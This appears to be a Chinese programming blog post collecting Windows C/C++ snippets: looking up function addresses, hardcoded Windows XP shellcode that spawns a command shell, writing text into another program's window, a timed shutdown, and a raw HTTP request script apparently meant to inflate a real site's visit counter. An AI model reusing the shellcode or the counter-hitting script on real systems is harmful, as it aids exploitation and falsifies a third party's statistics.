一些CODE

/   功能:查找函数地址 。 所调用的dll可以在msdn找到
#include <windows.h>
#include <iostream>
typedef void(*MYPROC)(LPTSTR);

using namespace std;

int main()
{
 HINSTANCE LibHandle;
 MYPROC ProcAdd;
 LibHandle = LoadLibrary("Kernel32.dll");
 cout<<"DLL LibHandle = "<<LibHandle<<endl;
 ProcAdd = (MYPROC)GetProcAddress(LibHandle,"LoadLibraryA");
 cout<<"Funtion Address = "<<ProcAdd<<endl;
 return 0;

/     // 弹出dos窗口的shellcode xp2版本

unsigned char shellcode[] =
"/x55/x8B/xEC/x33/xC0/x50/x50/x50/xC6/x45/xF4/x4D/xC6/x45/xF5/x53"
"/xC6/x45/xF6/x56/xC6/x45/xF7/x43/xC6/x45/xF8/x52/xC6/x45/xF9/x54/xC6/x45/xFA/x2E/xC6"
"/x45/xFB/x44/xC6/x45/xFC/x4C/xC6/x45/xFD/x4C/xBA"
"/x77/x1D/x80/x7C"  //sp3 loadlibrary地址0x77e69f64 xp2:7C801D77
"/x52/x8D/x45/xF4/x50"
"/xFF/x55/xF0"
"/x55/x8B/xEC/x83/xEC/x2C/xB8/x63/x6F/x6D/x6D/x89/x45/xF4/xB8/x61/x6E/x64/x2E"
"/x89/x45/xF8/xB8/x63/x6F/x6D/x22/x89/x45/xFC/x33/xD2/x88/x55/xFF/x8D/x45/xF4"
"/x50/xB8"
"/xC7/x93/xBF/x77"  //sp3 System地址0x7801afc3 xp2:77BF93C7
"/xFF/xD0";


 int main()
 {
 ( (void(*)(void)) &shellcode )();
 return 0;
 }

///  一些窗口查找

#include <windows.h>
#include <iostream>
using namespace std;

void main()
{
 //MessageBox(0,"lsaint","lsaint",0);
 //LoadLibrary("msvcrt.dll");
 //system("command.com");

 string str("lsaint");
 char text[]="lsaint";
// text=str.c_str();
 POINT p={20,28};

 HWND hWnd, hTextWnd;
 hWnd=FindWindow(0,"dlg");
 cout<<hWnd<<endl;
 // 3个取得子句柄的方法
 hTextWnd = GetDlgItem(hWnd , 0x3E9);  // 第二个参数为 Control ID 的值,由SPY++查出
// hTextWnd = FindWindowEx(hWnd,0,"EDIT",0); // 第三个参数为类名,SPY++查出
// hTextWnd = ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE); // 为成功;;;?
 cout<<hTextWnd<<endl;
// PostMessage(hTextWnd,WM_SETTEXT,str.length(),(long)str.c_str());
// GetWindowText(hWnd,text,10);
// cout<<text;
 SendMessage(hTextWnd,WM_SETTEXT,str.length(),(long)str.c_str());
 //PostMessage(hWnd,WM_QUIT,0,0);  // 不能用post 见msdn
 return;
}

 

/  看得出

#include <windows.h>
#include <iostream>

using namespace std;

int main()
{
    int i;
    cout<<"Time is : "<<endl;
    cin>>i;
    Sleep(i*60);
    system("shutdown -t 60");

}

 

 

/  //  刷下IP  代理功能测试中

#include "stdafx.h"

#include <Winsock2.h>
//#include <winsock.h>
#include <iostream>
#include <cstring>

using namespace std;

#pragma comment(lib,"WS2_32.lib")

void main(int argc,char* argv[])
{
    WSADATA wsadata;
    //char lpbuffer[MAX_PATH*2+50]="0";
    sockaddr_in addrin;
    SOCKET sock;

 char buf[1024];
 int num;
 memset(buf, '/0', 1024);
 
    if (WSAStartup(MAKEWORD( 2, 2 ),&wsadata)!=0)
        cout<<"error1"<<endl;
    sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 
    addrin.sin_addr.s_addr = inet_addr("222.188.84.46");
    addrin.sin_port =htons(80);
    addrin.sin_family=AF_INET;
 
    int rtn = connect(sock,(sockaddr*) &addrin,sizeof(addrin));
 
 if(rtn==-1)
  cout<<"connect Error"<<endl;
 
 string str;
// str = "CONNECT 222.188.84.46:80 HTTP/1.1/r/nUser-Agent: MyApp/0.1/r/n/r/n";

 //send(sock,str.c_str(),str.length(),0);
 //recv(sock,buf,sizeof(buf),0);
// cout<<buf<<endl;
 //cin>>num;

 str = "GET http://www.lifekiss.eb.cn/Counter.asp HTTP/1.1/r/n";    //  有些情况无效 要用GET /Counter.asp  不解
 //str += "Accept: */*/n";
 //str+="Referer: http://www.lifekiss.eb.cn/index.asp?action=Counts_date/r/n";
    //str += "Accept-Language: zh-cn/n";
 //str += "Accept-Encoding: gzip, deflate/n";
 //str += "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Maxthon)/r/n";
 str += "Host: www.lifekiss.eb.cn/r/n/r/n";
 //str += "Connection: Keep-Alive/r/n";
 //str += "Cookie: ASPSESSIONIDAAAARBRD=IBKLPBGBKGJJNMBJOMNMNJAJ/r/n/r/n";

  //  int i;
  //  for(i=0;i<10;i++)
    send(sock,str.c_str(),str.length(),0);
   


    for(;;)
    {
     num = recv(sock ,buf,sizeof(buf),0);
     if(num ==-1)
     {
      cout<<"Error Recv"<<endl;
      break;
     }
     if(num ==0)
      break;
     cout<<buf;
    }

    cout<<endl<<"lsaint"<<endl;
    closesocket(sock);
    return;
}

================

 

使用socket编程时,每调用一个函数如bind,listen等,如果出错可以使用WSAGetLastError ()函数得到错误的编号,如果是MFC的CSocket类,使用GetLastError()函数得到错误的编号。但是得到的编号是整形量,对调试没有意义,所以建议大家可以使用下面的程序得到中文错误信息。


LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|FORMAT_MESSAGE_FROM_SYSTEM,0, GetLastError(),
        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), //默认语言
          (LPTSTR)&lpMsgBuf, 0, NULL );
//显示
MessageBox(0,(LPCTSTR)lpMsgBuf,_T("GetLastError"),MB_OK|MB_ICONINFORMATION );

//释放内存
    ::LocalFree( lpMsgBuf );

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值